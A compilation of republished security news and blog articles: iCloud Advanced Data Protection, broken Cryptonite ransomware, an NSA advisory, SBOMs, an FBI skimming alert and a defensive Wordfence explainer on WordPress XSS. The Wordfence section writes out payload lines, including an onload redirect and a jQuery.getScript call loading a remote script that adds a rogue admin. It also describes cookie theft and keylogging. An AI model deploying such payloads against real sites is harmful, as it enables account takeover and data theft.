Why You Should Enable Apple’s New Security Feature in iOS 16.2 Right Now

Apple just rolled out iOS 16.2, a software update that includes a key new feature called Advanced Data Protection for iCloud. That means you can finally enable end-to-end encryption for your iCloud backups so no one but you—not even Apple—can access your iCloud data.

The fact that iCloud backups haven’t offered the option of end-to-end encryption until now has long been a point of controversy. iCloud backups of the Messages app were of particular concern because Apple could still hand over certain types of data within the backups to law enforcement. In particular, although conversations in Messages (along with other more personal data types, like the data stored in the Health app) were end-to-end encrypted, backups of those conversations were not. That meant police could subpoena those backups and gain access to texts. A couple of years ago, rumors suggested that Apple had dropped a plan to encrypt backups after the FBI complained about it. But now that the feature is here, everyone should turn it on. Here’s why.

Encryption is a mathematical process that jumbles data in a way that makes it unreadable without a key. End-to-end encryption ensures that only you control that key. This protection allows for private communication between a sender and a receiver—in this case, you’re both—such that third parties can’t access the data. Once you enable Advanced Data Protection, not even Apple will have the key to decrypt your data—and therefore it will have no way to help you regain access if you lose it. End-to-end encryption is common in secure messaging apps like Signal, as well as in software that stores sensitive data, such as password managers.

Many people enable iCloud backups because their iPhone bothers them repeatedly to do so, and perhaps they haven’t thought through the implications. Prior to today, storing a complete backup of your device, including your private photos and files, on a server—where someone other than you has access to it—has meant entering a data-privacy minefield. Someone gaining access to that account, through a data breach or by other means, would have access to anything stored there. And the problem hasn’t been limited to iCloud: Startlingly few cloud storage companies, in fact, offer end-to-end encryption.

But now, if you own one or more Apple devices, you can now make sure that your backups, photo libraries, and iCloud Drive file are end-to-end encrypted.

How to turn on Advanced Data Protection

Advanced Data Protection is rolling out as part of the iOS 16.2 over-the-air software update in the US today. Other parts of the world will receive Advanced Data Protection in early 2023. Follow these steps:

  1. Turn on two-factor authentication for your Apple ID if you haven’t done so already.
  2. Update all your Apple devices to iOS 16.2, iPadOS 16.2, macOS 13.1, tvOS 16.2, watchOS 9.2, or newer. If your devices are older and don’t support the latest versions of Apple’s operating systems, you’ll have to remove them from your Apple ID in order to enable Advanced Data Protection. That means you won’t be able to log into your Apple account on that older device, in which case, you should probably not enable Advanced Data Protection until you upgrade to a newer Apple device.
  3. On an iPhone or iPad, open Settings (or System Preferences on a Mac) > [Your name] > iCloud > Advanced Data Protection > Account Recovery. On this page you’ll see a choice of recovery methods. To use Advanced Data Protection, you must set up at least one of these two options (you can do both):
    • Designate a recovery contact, a trusted person from your contacts list who also owns an Apple device and whom you can easily reach out to in case you get locked out of your account. If you choose this method, you’ll send the recovery contact a message with a link that they will need to tap or click to accept. They’ll now have the key to help you unlock your account, but they won’t be able to unlock it on their own.
    • Set up a recovery key, a 28-character key that you can use to access your account in case you are locked out. Apple has no way to recover this key for you, so it’s important that you save it somewhere safe. If you choose this method, you’ll need to verify the key before you enable it, so write it down.
  4. Head back to Settings > [Your name] > iCloud > Advanced Data Protection, tap Turn on Advanced Data Protection, and then follow the on-screen prompts. Here, you need to confirm your recovery contact or enter your recovery key one more time, followed by your device’s passcode. If you have any older devices that cannot be updated, you can remove them from the list at this point.

Aside from not being able to ask Apple to help you access your data, if you regularly access data or files from iCloud.com, web access is disabled by default when Advanced Data Protection is enabled. That means you can’t access anything there—however, you can hop into Settings > [Your name] > iCloud and tap Access iCloud Data on the Web to temporarily turn on access when you need it.

Enabling the new security feature is relatively simple, though it’s important to note that if you choose the recovery key option, you must secure your encryption key and make sure to store it somewhere safe. If you choose a recovery contact, make sure to stay in touch with that person. Otherwise, if you lose your device, your data could be completely gone.

What data gets protected (and what doesn’t)

Until this update, Apple provided end-to-end encryption for some of the most sensitive data stored in iCloud backups by default, including passwords, health data, and payment information. If you don’t turn on Advanced Data Protection, here are the data categories that are end-to-end encrypted by default, according to Apple’s list:

  • Passwords and Keychain
  • Health data
  • Home data
  • Messages in iCloud (but not iCloud backups)
  • Payment information
  • Apple Card transactions
  • Apple Maps (details such as favorites and search history)
  • QuickType Keyboard learned vocabulary
  • Safari (details such as history, tab groups, and iCloud tabs)
  • Screen Time
  • Siri information (details such as settings and personalization)
  • Wi-Fi passwords
  • W1 and H1 Bluetooth keys
  • Memoji

When you turn on the feature, nine more data categories are end-to-end encrypted:

  • iCloud backup
  • iCloud Drive
  • Photos, including photos in a Shared Library, if everyone in the Shared Library has Advanced Data Protection enabled
  • Notes
  • Reminders
  • Safari Bookmarks
  • Siri Shortcuts
  • Voice Memos
  • Wallet passes

Some data stored in iCloud still isn’t encrypted, notably iCloud Mail and some third-party data, because doing so would break certain functions. The affected categories are as follows:

  • iCloud Mail
  • Contacts
  • Calendars
  • Photos stored in Shared Albums and any file shared with “Anyone with a link”
  • Any document shared for iWork collaboration
  • Any third-party app data that doesn’t employ its own end-to-end encryption (though if the backups of those apps are stored in iCloud Backup, they will be end-to-end encrypted, and if an app stores data in iCloud Drive, it should be end-to-end encrypted, as well)
  • Some metadata and usage information (details such as the names of your devices, the sizes of files, and more, which is notable because recent reports suggest that Apple isn’t entirely transparent about the data it collects)

If you use any collaboration features for Files or Notes, end-to-end encryption is enabled only when you and all other parties have Advanced Data Protection enabled. So, if you are collaborating through a shared Notes or Reminder item and want that data secured with end-to-end encryption, make certain your collaborators enable the feature, too.

Setting up Advanced Data Protection is an important step, but it’s not the end of the story. In addition to the various steps everyone needs to take to secure themselves online, be sure to take a few fundamental steps to secure your phone, such as using a strong passcode.

Source: https://www.nytimes.com/wirecutter/reviews/how-to-set-up-apples-new-icloud-encryption-security-feature/

This broken ransomware can’t decrypt your files, even if you pay the ransom

Researchers warn this badly built ransomware will destroy your files, so don’t pay up.

Victims of a recently uncovered form of ransomware are being warned not to pay the ransom demand, simply because the ransomware isn’t able to decrypt files – it just destroys them instead. 

Coded in Python, Cryptonite ransomware first appeared in October as part of a free-to-download open-source toolkit – available to anyone with the skills required to deploy it in attacks against Microsoft Windows systems, with phishing attacks believed to be the most common means of delivery.

But analysis of Cryptonite by cybersecurity researchers at Fortinet has found that the ransomware only has “barebones” functionality and doesn’t offer a means of decrypting files at all, even if a ransom payment is made. 

Instead, Cryptonite effectively acts as wiper malware, destroying the encrypted files, leaving no way of retrieving the data. 

But rather than this being an intentionally malicious act of destruction by design, researchers suggest that the reason Cryptonite does this is because the ransomware has been poorly put together.  

A basic design and what’s described as a “lack of quality assurance” means the ransomware doesn’t work correctly because a flaw in the way it’s been put together means if Cryptonite crashes or is just closed, it leaves no way to recover encrypted files. 

There’s also no way to run it in decryption-only mode – so every time the ransomware is run, it re-encrypts everything with a different key. This means that, even if there was a way to recover the files, the unique key probably wouldn’t work – leaving no way to recover the encrypted data. 

“This sample demonstrates how a ransomware’s weak architecture and programming can quickly turn it into a wiper that does not allow data recovery,” said Gergely Révay, security researcher at Fortinet’s FortiGuard Labs. 

“Although we often complain about the increasing sophistication of ransomware samples, we can also see that oversimplicity and a lack of quality assurance can also lead to significant problems,” he added. 

It’s the victim of the ransomware attack that feels those problems, as they’re left with no means of restoring their network – even if they’ve made a ransom payment.  

The case of Cryptonite ransomware also serves as a reminder that paying a ransom is never a guarantee that the cyber criminals will provide a decryption key, or if it will work properly.   

Cyber agencies, including CISA, the FBI and the NCSC, recommend against paying the ransom because it only serves to embolden and encourage cyber criminals, particularly if they can acquire ransomware at a low cost or for free. 

The slightly good news is that it’s now harder for wannabe cyber criminals to get their hands on Cryptonite, as the original source code has been removed from GitHub. 

In addition to this, the simple nature of the ransomware also means that it’s easy for antivirus software to detect – so it’s recommended antivirus software is installed and kept up to date. 

Source: https://www.zdnet.com/article/this-badly-made-ransomware-cant-decrypt-your-files-even-if-you-pay-the-ransom/

Redirect tracker – a free online tool

What is Redirect Tracker?

A URL might be redirected for different reasons, but some of them can be malicious. Usually, a redirect can be because a page is deleted, a site is moved to a new domain, a site is moved to HTTPS, the URL of a page is changed, two or more websites are merged into one, etc. Or just so that you don’t have a long, complicated address to put in your browser (bit.ly and other URL shorteners).

However, sometimes they will send you to the wrong place, which might be harmful to your online security. In any case, it’s important to know where we are sent when we click on a link, and you no longer have to rely on tools like WhereGoes. Redirect Tracker will show you exactly where the link takes you. Stay safe and informed, thanks to this tool.

TRY IT: https://www.websiteplanet.com/webtools/redirected/

Cross-Site Scripting: The Real WordPress Supervillain

Vulnerabilities are a fact of life for anyone managing a website, even when using a well-established content management system like WordPress. Not all vulnerabilities are equal, with some allowing access to sensitive data that would normally be hidden from public view, while others could allow a malicious actor to take full control of an affected website. There are many types of vulnerabilities, including broken access control, misconfiguration, data integrity failures, and injection, among others. One type of injection vulnerability that is often underestimated, but can provide a wide range of threats to a website, is Cross-Site Scripting, also known as “XSS”. In a single 30-day period, Wordfence blocked a total of 31,153,743 XSS exploit attempts, making this one of the most common attack types we see.

XSS exploit attempts blocked per day

What is Cross-Site Scripting?

Cross-Site Scripting is a type of vulnerability that allows a malicious actor to inject code, usually JavaScript, into otherwise legitimate websites. The web browser being used by the website user has no way to determine that the code is not a legitimate part of the website, so it displays content or performs actions directed by the malicious code. XSS is a relatively well-known type of vulnerability, partially because some of its uses are visible on an affected website, but there are also “invisible” uses that can be much more detrimental to website owners and their visitors.

Without breaking XSS down into its various uses, there are three primary categories of XSS that each have different aspects that could be valuable to a malicious actor. The types of XSS are split into stored, reflected, and DOM-based XSS. Stored XSS also includes a sub-type known as blind XSS.

Stored Cross-Site Scripting could be considered the most nefarious type of XSS. These vulnerabilities allow exploits to be stored on the affected server. This could be in a comment, review, forum, or other element that keeps the content stored in a database or file either long-term or permanently. Any time a victim visits a location the script is rendered, the stored exploit will be executed in their browser.

An example of an authenticated stored XSS vulnerability can be found in version 4.16.5 or older of the Leaky Paywall plugin. This vulnerability allowed code to be entered into the Thousand Separator and Decimal Separator fields and saved in the database. Any time this tab was loaded, the saved code would load. For this example, we used the JavaScript onmouseover function to run the injected code whenever the mouse went over the text box, but this could easily be modified to onload to run the code as soon as the page loads, or even onclick so it would run when a user clicks a specified page element. The vulnerability existed due to a lack of proper input validation and sanitization in the plugin’s class.php file. While we have chosen a less-severe example that requires administrator permissions to exploit, many other vulnerabilities of this type can be exploited by unauthenticated attackers.

Example of stored XSS

Blind Cross-Site Scripting is a sub-type of stored XSS that is not rendered in a public location. As it is still stored on the server, this category is not considered a separate type of XSS itself. In an attack utilizing blind XSS, the malicious actor will need to submit their exploit to a location that would be accessed by a back-end user, such as a site administrator. One example would be a feedback form that submits feedback to the administrator regarding site features. When the administrator logs in to the website’s admin panel, and accesses the feedback, the exploit will run in the administrator’s browser.

This type of exploit is relatively common in WordPress, with malicious actors taking advantage of aspects of the site that provide data in the administrator panel. One such vulnerability was exploitable in version 13.1.5 or earlier of the WP Statistics plugin, which is designed to provide information on website visitors. If the Cache Compatibility option was enabled, then an unauthenticated user could visit any page on the site and grab the _wpnonce from the source code, and use that nonce in a specially crafted URL to inject JavaScript or other code that would run when statistics pages are accessed by an administrator. This vulnerability was the result of improper escaping and sanitization on the ‘platform’ parameter.

Example of blind XSS

Reflected Cross-Site Scripting is a more interactive form of XSS. This type of XSS executes immediately and requires tricking the victim into submitting the malicious payload themselves, often by clicking on a crafted link or visiting an attacker-controlled form. The exploits for reflected XSS vulnerabilities often use arguments added to a URL, search results, and error messages to return data back in the browser, or send data to a malicious actor. Essentially, the threat actor crafts a URL or form field entry to inject their malicious code, and the website will incorporate that code in the submission process for the vulnerable function. Attacks utilizing reflected XSS may require an email or message containing a specially crafted link to be opened by an administrator or other site user in order to obtain the desired result from the exploit. This XSS type generally involves some degree of social engineering in order to be successful and it’s worth noting that the payload is never stored on the server so the chance of success relies on the initial interaction with the user.

In January of 2022, the Wordfence team discovered a reflected XSS vulnerability in the Profile Builder – User Profile & User Registration Forms plugin. The vulnerability allowed for simple page modification, simply by specifically crafting a URL for the site. Here we generated an alert using the site_url parameter and updated the page text to read “404 Page Not Found” as this is a common error message that will not likely cause alarm but could entice a victim to click on the redirect link that will trigger the pop-up.

Example of reflected XSS

DOM-Based Cross-Site Scripting is similar to reflected XSS, with the defining difference being that the modifications are made entirely in the DOM environment. Essentially, an attack using DOM-based XSS does not require any action to be taken on the server, only in the victim’s browser. While the HTTP response from the server remains unchanged, a DOM-based XSS vulnerability can still allow a malicious actor to redirect a visitor to a site under their control, or even collect sensitive data.

One example of a DOM-based vulnerability can be found in versions older than 3.4.4 of the Elementor page builder plugin. This vulnerability allowed unauthenticated users to be able to inject JavaScript code into pages that had been edited using either the free or Pro versions of Elementor. The vulnerability was in the lightbox settings, with the payload formatted as JSON and encoded in base64.

Example of DOM-based XSS

How Does Cross-Site Scripting Impact WordPress Sites?

WordPress websites can have a number of repercussions from Cross-Site Scripting (XSS) vulnerabilities. Because WordPress websites are dynamically generated on page load, content is updated and stored within a database. This can make it easier for a malicious actor to exploit a stored or blind XSS vulnerability on the website which means an attacker often does not need to rely on social engineering a victim in order for their XSS payload to execute.

Using Cross-Site Scripting to Manipulate Websites

One of the most well-known ways that XSS affects WordPress websites is by manipulating the page content. This can be used to generate popups, inject spam, or even redirect a visitor to another website entirely. This use of XSS provides malicious actors with the ability to make visitors lose faith in a website, view ads or other content that would otherwise not be seen on the website, or even convince a visitor that they are interacting with the intended website despite being redirected to a look-alike domain or similar website that is under the control of of the malicious actor.

When testing for XSS vulnerabilities, security researchers often use a simple method such as alert() prompt() or print() in order to test if the browser will execute the method and display the information contained in the payload. This typically looks like the following and generally causes little to no harm to the impacted website:

Example of XSS popup

This method can also be used to prompt a visitor to provide sensitive information, or interact with the page in ways that would normally not be intended and could lead to damage to the website or stolen information.

One common type of XSS payload we see when our team performs site cleanings is a redirect. As previously mentioned, XSS vulnerabilities can utilize JavaScript to get the browser to perform actions. In this case an attacker can utilize the window.location.replace() method or other similar method in order to redirect the victim to another site. This can be used by an attacker to redirect a site visitor to a separate malicious domain that could be used to further infect the victim or steal sensitive information.

In this example, we used onload=location.replace("https://wordfence.com") to redirect the site to wordfence.com. The use of onload means that the script runs as soon as the element of the page that the script is attached to loads. Generating a specially crafted URL in this manner is a common method used by threat actors to get users and administrators to land on pages under the actor’s control. To further hide the attack from a potential victim, the use of URL encoding can modify the appearance of the URL to make it more difficult to spot the malicious code. This can even be taken one step further in some cases by slightly modifying the JavaScript and using character encoding prior to URL encoding. Character encoding helps bypass certain character restrictions that may prevent an attack from being successful without first encoding the payload.

Example of XSS redirect

When discussing manipulation of websites, it is hard to ignore site defacements. This is the most obvious form of attack on a website, as it is often used to replace the intended content of the website with a message from the bad actor. This is often accomplished by using JavaScript to force the bad actor’s intended content to load in place of the original site content. Utilizing JavaScript functions like document.getElementByID() or window.location() it is possible to replace page elements, or even the entire page, with new content. Defacements require a stored XSS vulnerability, as the malicious actor would want to ensure that all site visitors see the defacement.

Example of XSS defacement

This is, of course, not the only way to deface a website. A defacement could be as simple as modifying elements of the page, such as changing the background color or adding text to the page. These are accomplished in much the same way, by using JavaScript to replace page elements.

Stealing Data With Cross-Site Scripting

XSS is one of the easier vulnerabilities a malicious actor can exploit in order to steal data from a website. Specially crafted URLs can be sent to administrators or other site users to add elements to the page that send form data to the malicious actor as well as, or instead of, the intended location of the data being submitted on the website under normal conditions.

The cookies generated by a website can contain sensitive data or even allow an attacker to access an authenticated user’s account directly. One of the simplest methods of viewing the active cookies on a website is to use the document.cookie JavaScript function to list all cookies. In this example, we sent the cookies to an alert box, but they can just as easily be sent to a server under the attacker’s control, without even being noticeable to the site visitor.

Example of stealing cookies with XSS

While form data theft is less common, it can have a significant impact on site owners and visitors. The most common way this would be used by a malicious actor is to steal credit card information. It is possible to simply send input from a form directly to a server under the bad actor’s control, however it is much more common to use a keylogger. Many payment processing solutions embed forms from their own sites, which typically cannot be directly accessed by JavaScript running in the context of an infected site. The use of a keylogger helps ensure that usable data will be received, which may not always be the case when simply collecting form data as it is submitted to the intended location.

Here we used character encoding to obfuscate the JavaScript keystroke collector, as well as to make it easy to run directly from a maliciously crafted link. This then sends collected keystrokes to a server under the threat actor’s control, where a PHP script is used to write the collected keystrokes to a log file. This technique could be used as we did here to target specific victims, or a stored XSS vulnerability could be taken advantage of in order to collect keystrokes from any site visitor who visits a page that loads the malicious JavaScript code. In either use-case, a XSS vulnerability must exist on the target website.

Example of XSS form theft

If this form of data theft is used on a vulnerable login page, a threat actor could easily gain access to usernames and passwords that could be used in later attacks. These attacks could be against the same website, or used in credential stuffing attacks against a variety of websites such as email services and financial institutions.

Taking Advantage of Cross-Site Scripting to Take Over Accounts

Perhaps one of the most dangerous types of attacks that are possible through XSS vulnerabilities is an account takeover. This can be accomplished through a variety of methods, including the use of stolen cookies, similar to the example above. In addition to simply using cookies to access an administrator account, malicious actors will often create fake administrator accounts under their control, and may even inject backdoors into the website. Backdoors then give the malicious actor the ability to perform further actions at a later time.

If a XSS vulnerability exists on a site, injecting a malicious administrator user can be light work for a threat actor if they can get an administrator of a vulnerable website to click a link that includes an encoded payload, or if another stored XSS vulnerability can be exploited. In this example we injected the admin user by pulling the malicious code from a web-accessible location, using a common URL shortener to further hide the true location of the malicious location. That link can then be utilized in a specially crafted URL, or injected into a vulnerable form with something like onload=jQuery.getScript('https://bit.ly/<short_code>'); to load the script that injects a malicious admin user when the page loads.

Example of adding a malicious admin user with XSS

Backdoors are a way for a malicious actor to retain access to a website or system beyond the initial attack. This makes backdoors very useful for any threat actor that intends to continue modifying their attack, collect data over time, or regain access if an injected malicious admin user is removed by a site administrator. While JavaScript running in an administrator’s session can be used to add PHP backdoors to a website by editing plugin or theme files, it is also possible to “backdoor” a visitor’s browser, allowing an attacker to run arbitrary commands as the victim in real time. In this example, we used a JavaScript backdoor that could be connected to from a Python shell running on a system under the threat actor’s control. This allows the threat actor to run commands directly in the victim’s browser, allowing the attacker to directly take control of it, and potentially opening up further attacks to the victim’s computer depending on whether the browser itself has any unpatched vulnerabilities.

Often, a backdoor is used to retain access to a website or server, but what is unique about this example is the use of a XSS vulnerability in a website in order to gain access to the computer being used to access the affected website. If a threat actor can get the JavaScript payload to load any time a visitor accesses a page, such as through a stored XSS vulnerability, then any visitor to that page on the website becomes a potential victim.

Example of a XSS backdoor

Tools Make Light Work of Exploits

There are tools available that make it easy to exploit vulnerabilities like Cross-Site Scripting (XSS). Some tools are created by malicious actors for malicious actors, while others are created by cybersecurity professionals for the purpose of testing for vulnerabilities in order to prevent the possibility of an attack. No matter what the purpose of the tool is, if it works malicious actors will use it. One such tool is a freely available penetration testing tool called BeEF. This tool is designed to work with a browser to find client-side vulnerabilities in a web app. This tool is great for administrators, as it allows them to easily test their own webapps for XSS and other client-side vulnerabilities that may be present. The flip side of this is that it can also be used by threat actors looking for potential attack targets.

One thing that is consistent in all of these exploits is the use of requests to manipulate the website. These requests can be logged, and used to block malicious actions based on the request parameters and the strings contained within the request. The one exception is that DOM-based XSS cannot be logged on the web server as these are processed entirely within the victim’s browser. The request parameters that malicious actors typically use in their requests are often common fields, such as the WordPress search parameter of $_GET[‘s’] and are often just guesswork hoping to find a common parameter with an exploitable vulnerability. The most common request parameter we have seen threat actors attempting to attack recently is $_GET[‘url’] which is typically used to identify the domain name of the server the website is loaded from.

Top 10 parameters in XSS attacks


Cross-Site Scripting (XSS) is a powerful, yet often underrated, type of vulnerability, at least when it comes to WordPress instances. While XSS has been a long-standing vulnerability in the OWASP Top 10, many people think of it only as the ability to inject content like a popup, and few realize that a malicious actor could use this type of vulnerability to inject spam into a web page or redirect a visitor to the website of their choice, convince a site visitor to provide their username and password, or even take over the website with relative ease all thanks to the capabilities of JavaScript and working knowledge of the backend platform.

One of the best ways to protect your website against XSS vulnerabilities is to keep WordPress and all of your plugins updated. Sometimes attackers target a zero-day vulnerability, and a patch is not available immediately, which is why the Wordfence firewall comes with built-in XSS protection to protect all Wordfence users.

Source: https://www.wordfence.com/blog/2022/09/cross-site-scripting-the-real-wordpress-supervillain

NSA Warns Managed Service Providers Are Now Prime Targets for Cyberattacks

International cybersecurity authorities issue guidance to help information and communications service providers secure their networks.

The National Security Administration (NSA), along with a coalition of international cybersecurity authorities, today issued an advisory warning managed service providers (MSPs) of an escalating threat of attack from both everyday cybercriminals and state-sponsored threat actors.

MSPs provide or operate information and communications technology services.

With input from cybersecurity leaders from Australia, Canada, New Zealand, the UK and the US, the NSA provided recommendations to help bolster their cyber defenses, including:

  • Finding and disabling dormant accounts.
  • Implementing and enforcing multifactor authentication on accounts.
  • Ensuring contracts clearly map out who owns and is responsible for securing data.

“This joint guidance will help MSPs and customers engage in meaningful discussions on the responsibilities of securing networks and data,” said NSA cybersecurity director Rob Joyce in a statement announcing the new cybersecurity guidance. “Our recommendations cover actions such as preventing initial compromises and managing account authentication and authorization.”

The NSA added it partnered with the UK’s National Cyber Security Centre (NCSC-UK), the Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), New Zealand’s National Cyber Security Centre (NCSC-NZ), the Cybersecurity and Infrastructure Agency (CISA), and the Federal Bureau of Investigation (FBI) to develop the MSP cybersecurity recommendations.

Source & backlinks: https://www.darkreading.com/attacks-breaches/nsa-warns-managed-service-providers-are-now-prime-targets-for-cyberattacks

SBOM Facts: Know what’s in your software to fend off supply chain attacks

Not knowing what’s in your food can have consequences. The same is true for software. That’s why you need a software bill of materials (SBOM) to minimize software security risk.

Countless studies and articles have documented the health dangers lurking in America’s fast food culture. Cheap, convenient meals, like a Big Mac, fries and a Coke contain something close to an adult’s daily ration of fat, carbohydrates and sodium. But, until recently, critical information like that wasn’t readily available to diners. The result has been an epidemic of obesity, memorialized in the 2004 documentary Super Size Me!, in which documentary filmmaker Morgan Spurlock ate nothing but McDonald’s for an entire month — a period during which he gained 24 lbs, saw his cholesterol levels soar and developed fatty liver disease.

For health and nutrition experts, the answer to the problem of food-borne risks was legislation. The November 1990 Nutrition Labeling and Education Act (NLEA) provided everyday Americans with detailed information on processed and packaged foods by mandating the use of a nutrition label. Subsequent to that, the Federal Food, Drug, and Cosmetic Act (FD&C Act) was amended to require chain restaurants and retail food establishments to post calorie and other nutrition information on menus, menu boards and signs for all standard menu items. These laws and regulations have empowered U.S. consumers to make informed decisions about the food they are buying in grocery stores and restaurants — including fast food chains.

Software quality is anyone’s guess
Alas, software developers and software development organizations find themselves in a similar place to fast food diners these days. Even a modest software application might contain hundreds- or thousands of discrete components from a number of sources: internally developed, commercially licensed and open source. Data from the firm Synopsys suggests that applications are becoming more complex, also. The average number of components in an application almost doubled between 2018 and 2021, increasing from 298 to 528 during that time.

Despite that, the same level of transparency doesn’t exist for software developers as shoppers and diners, even though the risks lurking in the software supply chain are well-documented. In 2014, for example, the so-called Heartbleed bug in the OpenSSL library affected around 17% of the Internet’s secure web servers (more than half a million systems) were vulnerable to attacks that could enable theft of the servers’ private keys and users’ session cookies and passwords. In the years since, incidents involving software supply chain risk have become regular occurrences. The 2020 hack of SolarWinds or the 2021 Log4j vulnerability or the compromise of CodeCov have led to a reckoning in the industry to bolster software security.

While there has been no legislative response to these attacks, the Biden Administration published an Executive Order on Improving the Nation’s Cybersecurity in May 2021, which specifically targets software supply chain security and calls upon federal agencies to take steps in establishing software security best practices. Afterwards, the National Institute of Standards and Technology (NIST) released their Secure Software Development Framework. In it, it calls for the use of Software Bills of Materials (SBOMs) – a kind of nutrition label in order to minimize software supply chain attack risk.

SBOM: A nutrition label for software
Similar to the iconic black and white nutrition label we see on food packaging today, an SBOM enables those dependent on software to understand what exactly is in the applications they’re using. This gives both software developers and users a better sense of the risks associated with their applications.

By directly comparing the nutritional food label to an SBOM, software practitioners can see why their use is of the utmost importance for securing the software supply chain.

Software bills of materials come in many forms, but almost all contain a few, key elements:

Product/Component Name: Designation typically defined by the original publisher.
Publisher Name: The name of an entity that creates, defines, and identifies components.
Product/Component Version: Identifier used by the supplier to specify a change in software from a previously identified version.
File Name: Serves as an additional identifier within a larger package of software
Software License: Indicates how open-source components can be used, modified and/or shared.
Dependencies: Identifies other sub-components that are included within the component.
Similar to an ingredients list, an SBOM offers a complete picture of what a software application consists of: third party software, open source software, statically linked packages, and other dependencies that run complicated and deep in an application.

An SBOM also provides insight into the complexity of a piece of software by documenting the variety and number of components it uses, including version numbers. Just like consumers can spot ingredients in a food product that are harmful, such as high-fructose corn syrup, software purchasers or development organizations can interrogate SBOMs for known-dangerous components like vulnerable versions of libraries like Log4j. Minimizing a list of components or ingredients, to only what is truly needed and is safe, can reduce unhelpful bloat (literally and figuratively).

Like a nutrition label, a good SBOM will hold software development organizations accountable for tracking and documenting exactly how an application has been made. Not all SBOMs show this bigger picture, namely those created from build manifests. Generating an SBOM just at this stage doesn’t list key components that arise during installation, which can cause developers to overlook vulnerabilities and tampering. This is why an SBOM must show “software as delivered,” meaning it includes the binaries and the packaging that went into an application’s deployment, providing developers with an extra security standard.

Having a list of software ingredients is a great start, what’s even better is expanding an SBOM with risk analysis of each component that detects malware, software tampering, exposed secrets, actively exploited vulnerabilities, etc. and determines the level of deployment risk posed by each component. This is akin to a nutrition label’s “daily value percentage” for each food group, which provides the context of what share of daily intake the portion would constitute. Prioritizing items listed in a SBOM by the level of the risk helps development and security teams understand how their software supply chain contributes to their applications’ risk profile. In comparison, an SBOM, enhanced with risk analysis, enables development teams to see which software publishers are delivering secure code and to assess whether the risk of using a component outweighs the “reward” it offers.

SBOMs: There’s still work to do
While the use of SBOMs is not mandated by the U.S. government, the software industry is becoming more open to their benefits, with 78% of organizations expecting to either produce or consume SBOMs in the future. However, the majority of the software industry has yet to get on board the SBOM train. A recent survey conducted by Dimensional Research found that only 27% of software development organizations generate and review SBOMs. This lack of usage of SBOMs enhanced with risk analysis leaves an organization’s software supply chain vulnerable to many types of attacks.

As the community continues to understand software supply chain risk, more and more threats to software security are discovered. For example, ReversingLabs researchers and others have established a proof-of-concept that dependency confusion attacks via NPM, a popular package repository site, are capable of attacking critical infrastructure. Also, ReversingLabs Reverse Engineer Karlo Zanki found that packages in the PyPI repository pose the risks of releasing secrets, plus overpowered PyPI plugins can be detrimental to development teams.

These growing risks are all the more reason why software publishing organizations need SBOMs. A good SBOM will provide transparency into the build, installation, and deployment processes, similar to how a nutrition label will shed light on how a food was made, and with what ingredients.

Software teams need to go beyond vulnerabilities
For software teams to stay vigilant on software supply chain security risks, they need to expand their approach to securing software beyond vulnerabilities. In Dimensional Research’s survey, 9 in 10 software professionals cited that the difficulty to create and review SBOMs is increasing, reasons being that organizations lack expertise, and they aren’t adequately staffed to review and analyze SBOMs.

Source & background links: https://develop.secure.software/sbom-facts-know-whats-in-software-fend-off-supply-chain-attacks

FBI: E-Tailers, Beware Web Injections for Scraping Credit-Card Data, Backdoors

Law enforcement is warning about a wave of Web injection attacks on US online retailers that are successfully stealing credit-card information from online checkout pages.

Cyberattackers are targeting US online businesses by injecting malicious PHP code into e-commerce checkout pages and exfiltrating scraped data to a command-and-control (C2) server spoofed to look like a legitimate credit-card processor.

That’s according to a flash alert from the FBI issued this week, which detailed one attack in particular that began in September 2020. Along with scraping credit-card data, the cybercriminals were modifying the business checkout page code to gain backdoor access to the business’ system. The FBI provided indicators of compromise and recommended mitigations for similar e-tailers, including patching and ongoing monitoring of e-commerce environments.

Businesses Should Take Alert ‘Seriously’
Cyvatar CISO Dave Cundiff explained in an emailed reaction to the alert that basic cybersecurity hygiene and monitoring would be enough to fend off this sort of attack.

“Continually verifying and monitoring an organization’s fundamental cybersecurity is a requirement these days,” Cundiff said. “If the fundamentals of an organization’s security are not strong, then the additional complexity of any additional security is useless.”

US businesses should take this alert seriously, according to Kunal Modasiya, senior director of product management at PerimeterX,.

“Given the risks of supply-chain attacks in general, it is important that businesses look beyond server-side security tools, such as static code analysis, external scanners, and the limitations of CSP to solutions,” Modasiya says.

Ron Bradley, vice president of Shared Assessments, meanwhile notes that organizations dealing with credit-card data, which he called “one of the crown jewels for fraudsters,” should have technical controls like file integrity monitoring (FIM) in place.

“If you’re running a website, especially one which transacts funds, and if you don’t have FIM implemented, I don’t want to shop there,” Bradley said. “Furthermore, you’re going to get pummeled by bad actors because you don’t have your house in order.”

Source and more details: https://www.darkreading.com/attacks-breaches/fbi-e-tailers-beware-web-injections-for-scraping-credit-card-data-backdoors

Why Cybercrime is like Trout Fishing

“Why push on a locked door when there’s an open window?”

As any seasoned fly angler knows, trout are highly selective, continuous feeders with their entire survival strategy centered on conserving energy, remaining close to a safe holding place, and gaining maximum protein intake with minimal movement. To fool the wily trout, fly angler have developed a practice of “matching the hatch” is used by fly anglers to present an artificial fly that most resembles what the trout are currently feeding on and getting it close to where a feeding trout is holding. And often, with the right presentation, the trout is fooled and hooked.

So what does fly fishing have to do with cyber security?

In many ways, cyber criminals behave exactly like seasoned fly anglers. Rarely do they waste time, energy and resources bombarding a company’s firewall. Or in the case of fly fishing, randomly cast using any fly pattern available. And as cybercrime becomes more sophisticated and controlled by criminal gangs and nation states, they favor a targeted approach. Cybercriminals today look for the easiest and quickest way through a company’s security defenses, often focusing on individual employees using an approach called social engineering.

Cybercriminals, like fly anglers, look for the easiest way to fool their target.  And in today’s disrupted business world that seems to be employees working from home, where in most cases the home environment is far less secure than the office IT environment. They also, like a fly angler matching the hatch, impersonate senior executives demanding a lower-level employee (for example from the finance department) wire money immediately to an (fake) client account. All too often the employee, when receiving an urgent email from a named senior executive, complies.

The savvy trout angler spends a great deal of time understanding the trout species they are targeting, the river environment, the types of insect life and potential food sources, most active feeding times etc. They even visit nearby fly shops and talk with knowledgeable fishing guides for specific information. They build a knowledge base used to match the hatch and fool the trout.

 In a similar way, a cybercriminal spends a great amount of time researching the company they are targeting. They scour LinkedIn profiles, search company websites for the names and titles of employees, gather information about employees on Facebook, Tinder, Instagram, Snapchat and other social media platforms. Recently they have begun to telephone employees at home pretending to be a legitimate research company, even offering cash for answering survey questions. In many cases, employee emails and other confidential information can be purchased from other criminal groups on the Dark Net. Using all this information they put together a list of potential employees to target with Phishing emails and social engineering.

